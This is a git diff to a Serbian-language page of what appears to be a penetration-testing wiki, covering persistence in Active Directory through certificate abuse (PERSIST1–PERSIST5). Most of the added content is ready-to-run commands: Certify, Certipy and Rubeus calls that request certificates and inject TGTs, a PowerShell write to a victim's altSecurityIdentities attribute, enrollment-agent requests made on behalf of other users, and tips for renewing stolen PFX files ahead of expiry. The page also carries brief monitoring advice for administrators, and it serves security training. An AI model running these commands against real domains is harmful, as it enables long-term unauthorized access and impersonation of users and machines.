diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md index 8755cede7..ff4047c5a 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md @@ -2,55 +2,131 @@ {{#include ../../../banners/hacktricks-training.md}} -**Ovo je kratak pregled poglavlja o postojanosti mašine iz sjajnog istraživanja sa [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)** +**Ovo je kratak pregled poglavlja o postojanju naloga iz sjajnog istraživanja sa [https://specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://specterops.io/assets/resources/Certified_Pre-Owned.pdf)** -## **Razumevanje krađe aktivnih korisničkih akreditiva pomoću sertifikata – PERSIST1** +## Razumevanje krađe korisničkih akreditiva aktivnih korisnika pomoću sertifikata – PERSIST1 -U scenariju gde korisnik može da zatraži sertifikat koji omogućava autentifikaciju domena, napadač ima priliku da **zatraži** i **ukrade** ovaj sertifikat kako bi **održao postojanost** na mreži. Po defaultu, `User` šablon u Active Directory omogućava takve zahteve, iako može ponekad biti onemogućen. +U scenariju gde korisnik može da zatraži sertifikat koji omogućava autentifikaciju domena, napadač ima priliku da zatraži i ukrade ovaj sertifikat kako bi održao postojanost na mreži. Po defaultu, `User` šablon u Active Directory-ju omogućava takve zahteve, iako može ponekad biti onemogućen. -Korišćenjem alata pod nazivom [**Certify**](https://github.com/GhostPack/Certify), može se pretraživati validne sertifikate koji omogućavaju postojan pristup: +Korišćenjem [Certify](https://github.com/GhostPack/Certify) ili [Certipy](https://github.com/ly4k/Certipy), možete pretraživati omogućene šablone koji dozvoljavaju autentifikaciju klijenata i zatim zatražiti jedan: ```bash +# Enumerate client-auth capable templates Certify.exe find /clientauth -``` -Istaknuto je da moć sertifikata leži u njegovoj sposobnosti da **autentifikuje kao korisnik** kojem pripada, bez obzira na bilo kakve promene lozinke, sve dok sertifikat ostaje **važeći**. -Sertifikati se mogu tražiti putem grafičkog interfejsa koristeći `certmgr.msc` ili putem komandne linije sa `certreq.exe`. Sa **Certify**, proces traženja sertifikata je pojednostavljen na sledeći način: -```bash -Certify.exe request /ca:CA-SERVER\CA-NAME /template:TEMPLATE-NAME +# Request a user cert from an Enterprise CA (current user context) +Certify.exe request /ca:CA-SERVER\CA-NAME /template:User + +# Using Certipy (RPC/DCOM/WebEnrollment supported). Saves a PFX by default +certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' -template 'User' -out user.pfx ``` -Kada je zahtev uspešan, sertifikat zajedno sa svojim privatnim ključem se generiše u `.pem` formatu. Da bi se ovo konvertovalo u `.pfx` datoteku, koja se može koristiti na Windows sistemima, koristi se sledeća komanda: +Moć sertifikata leži u njegovoj sposobnosti da autentifikuje kao korisnik kojem pripada, bez obzira na promene lozinke, sve dok sertifikat ostaje važeći. + +Možete konvertovati PEM u PFX i koristiti ga za dobijanje TGT-a: ```bash +# Convert PEM returned by Certify to PFX openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx -``` -Datoteka `.pfx` se zatim može otpremiti na ciljni sistem i koristiti sa alatom pod nazivom [**Rubeus**](https://github.com/GhostPack/Rubeus) za zahtev za Ticket Granting Ticket (TGT) za korisnika, produžavajući pristup napadača sve dok je sertifikat **važeći** (obično jednu godinu): -```bash -Rubeus.exe asktgt /user:harmj0y /certificate:C:\Temp\cert.pfx /password:CertPass! -``` -Važna upozorenja se dele o tome kako ova tehnika, u kombinaciji sa drugom metodom opisano u sekciji **THEFT5**, omogućava napadaču da trajno dobije **NTLM hash** naloga bez interakcije sa Local Security Authority Subsystem Service (LSASS), i iz neuzvišenog konteksta, pružajući diskretniju metodu za dugotrajno krađu akreditiva. -## **Sticanje mašinske postojanosti sa sertifikatima - PERSIST2** +# Use certificate for PKINIT and inject the TGT +Rubeus.exe asktgt /user:john /certificate:C:\Temp\cert.pfx /password:CertPass! /ptt -Druga metoda uključuje registraciju mašinskog naloga kompromitovanog sistema za sertifikat, koristeći podrazumevani `Machine` šablon koji omogućava takve radnje. Ako napadač dobije uzvišene privilegije na sistemu, može koristiti **SYSTEM** nalog za zahtev sertifikata, pružajući oblik **postojanosti**: +# Or with Certipy +certipy auth -pfx user.pfx -dc-ip 10.0.0.10 +``` +> Napomena: U kombinaciji sa drugim tehnikama (vidi odeljke o KRAĐI), autentifikacija zasnovana na sertifikatima omogućava trajni pristup bez dodirivanja LSASS-a i čak iz neuzdignutih konteksta. + +## Sticanje trajnosti mašine pomoću sertifikata - PERSIST2 + +Ako napadač ima uzdignute privilegije na hostu, može registrovati kompromitovani sistemski račun mašine za sertifikat koristeći podrazumevani `Machine` šablon. Autentifikacija kao mašina omogućava S4U2Self za lokalne usluge i može obezbediti trajnu postojanost hosta: ```bash +# Request a machine certificate as SYSTEM Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine + +# Authenticate as the machine using the issued PFX +Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0rd! /ptt ``` -Ovaj pristup omogućava napadaču da se autentifikuje na **Kerberos** kao mašinski nalog i koristi **S4U2Self** da dobije Kerberos servisne karte za bilo koju uslugu na hostu, efektivno dajući napadaču trajni pristup mašini. +## Produženje postojanosti kroz obnavljanje sertifikata - PERSIST3 -## **Produženje Persistencije Kroz Obnovu Sertifikata - PERSIST3** +Zloupotreba perioda važenja i obnavljanja šablona sertifikata omogućava napadaču da održi dugoročni pristup. Ako posedujete prethodno izdat sertifikat i njegov privatni ključ, možete ga obnoviti pre isteka kako biste dobili svež, dugotrajan kredencijal bez ostavljanja dodatnih artefakata zahteva povezanih sa originalnim principalom. +```bash +# Renewal with Certipy (works with RPC/DCOM/WebEnrollment) +# Provide the existing PFX and target the same CA/template when possible +certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \ +-template 'User' -pfx user_old.pfx -renew -out user_renewed.pfx -Poslednja metoda koja se razmatra uključuje korišćenje **važenja** i **perioda obnove** šablona sertifikata. Obnavljanjem sertifikata pre njegovog isteka, napadač može održati autentifikaciju na Active Directory bez potrebe za dodatnim upisima karata, što bi moglo ostaviti tragove na serveru Sertifikacione vlasti (CA). +# Native Windows renewal with certreq +# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair) +certreq -enroll -user -cert renew [reusekeys] +``` +> Operativni savet: Pratite trajanje PFX datoteka koje drži napadač i obnavljajte ih unapred. Obnova takođe može uzrokovati da ažurirani sertifikati uključuju modernu SID mapiranje ekstenziju, čineći ih upotrebljivim pod strožim DC pravilima mapiranja (vidi sledeću sekciju). -### Obnova Sertifikata sa Certify 2.0 +## Postavljanje Eksplicitnih Sertifikat Mapa (altSecurityIdentities) – PERSIST4 -Počevši od **Certify 2.0**, proces obnove je potpuno automatizovan kroz novu `request-renew` komandu. Dajući prethodno izdat sertifikat (u **base-64 PKCS#12** formatu), napadač može da ga obnovi bez interakcije sa originalnim vlasnikom – savršeno za diskretnu, dugoročnu persistenciju: +Ako možete da pišete u `altSecurityIdentities` atribut ciljnog naloga, možete eksplicitno mapirati sertifikat pod kontrolom napadača na taj nalog. Ovo ostaje aktivno i nakon promena lozinke i, kada se koriste jaki formati mapiranja, ostaje funkcionalno pod modernim DC sprovođenjem. + +Visok nivo toka: + +1. Nabavite ili izdate klijent-auth sertifikat koji kontrolišete (npr. upišite `User` šablon kao sebe). +2. Izvucite jak identifikator iz sertifikata (Issuer+Serial, SKI, ili SHA1-PublicKey). +3. Dodajte eksplicitno mapiranje na `altSecurityIdentities` žrtvenog principala koristeći taj identifikator. +4. Autentifikujte se sa svojim sertifikatom; DC ga mapira na žrtvu putem eksplicitnog mapiranja. + +Primer (PowerShell) koristeći jako Issuer+Serial mapiranje: ```powershell -Certify.exe request-renew --ca SERVER\\CA-NAME \ ---cert-pfx MIACAQMwgAYJKoZIhvcNAQcBoIAkgA... # original PFX +# Example values - reverse the issuer DN and serial as required by AD mapping format +$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' +$SerialR = '1200000000AC11000000002B' # reversed byte order of the serial +$Map = "X509:$Issuer$SerialR" + +# Add mapping to victim. Requires rights to write altSecurityIdentities on the object +Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map} ``` -Komanda će vratiti novi PFX koji je važeći za još jedan puni period trajanja, omogućavajući vam da nastavite sa autentifikacijom čak i nakon što prvi sertifikat istekne ili bude opozvan. +Zatim se autentifikujte sa svojim PFX. Certipy će direktno dobiti TGT: +```bash +certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10 +``` +Notes +- Koristite samo jake tipove mapiranja: X509IssuerSerialNumber, X509SKI ili X509SHA1PublicKey. Slabi formati (Subject/Issuer, samo Subject, RFC822 email) su zastareli i mogu biti blokirani politikom DC-a. +- Lanac sertifikata mora biti izgrađen do korena koji je poveren DC-u. Preduzeća CAs u NTAuth su obično povereni; neka okruženja takođe veruju javnim CAs. -## References +Za više informacija o slabim eksplicitnim mapiranjima i putevima napada, pogledajte: -- [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/) +{{#ref}} +domain-escalation.md +{{#endref}} + +## Enrollment Agent as Persistence – PERSIST5 + +Ako dobijete važeći sertifikat za zahtev za sertifikat/sertifikat agenta za upis, možete kreirati nove sertifikate koji omogućavaju prijavu u ime korisnika po želji i čuvati agenta PFX van mreže kao token za postojanost. Zloupotreba radnog toka: +```bash +# Request an Enrollment Agent cert (requires template rights) +Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent" + +# Mint a user cert on behalf of another principal using the agent PFX +Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \ +/onbehalfof:CORP\\victim /enrollcert:C:\Temp\agent.pfx /enrollcertpw:AgentPfxPass + +# Or with Certipy +certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \ +-template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx +``` +Revokacija sertifikata agenta ili dozvola šablona je potrebna za uklanjanje ove perzistencije. + +## 2025 Snažno sprovođenje mapiranja sertifikata: Uticaj na perzistenciju + +Microsoft KB5014754 je uveo snažno sprovođenje mapiranja sertifikata na kontrolerima domena. Od 11. februara 2025, DC-ovi podrazumevano koriste potpuno sprovođenje, odbacujući slaba/ambigvna mapiranja. Praktične posledice: + +- Sertifikati pre 2022. godine koji nemaju SID mapiranje ekstenziju mogu propasti implicitno mapiranje kada su DC-ovi u potpunom sprovođenju. Napadači mogu održati pristup ili obnavljanjem sertifikata putem AD CS (da bi dobili SID ekstenziju) ili postavljanjem snažnog eksplicitnog mapiranja u `altSecurityIdentities` (PERSIST4). +- Eksplicitna mapiranja koristeći jake formate (Issuer+Serial, SKI, SHA1-PublicKey) nastavljaju da funkcionišu. Slabi formati (Issuer/Subject, samo Subject, RFC822) mogu biti blokirani i treba ih izbegavati za perzistenciju. + +Administratori bi trebali pratiti i obaveštavati o: +- Promenama u `altSecurityIdentities` i izdavanju/obnavljanju sertifikata za Enrollment Agent i korisnike. +- CA logovima o izdavanju za zahteve u ime i neobičnim obrascima obnavljanja. + +## Reference + +- Microsoft. KB5014754: Promene u autentifikaciji zasnovanoj na sertifikatima na Windows kontrolerima domena (vremenska linija sprovođenja i jaka mapiranja). +https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16 +- Certipy Wiki – Referenca komandi (`req -renew`, `auth`, `shadow`). +https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference {{#include ../../../banners/hacktricks-training.md}}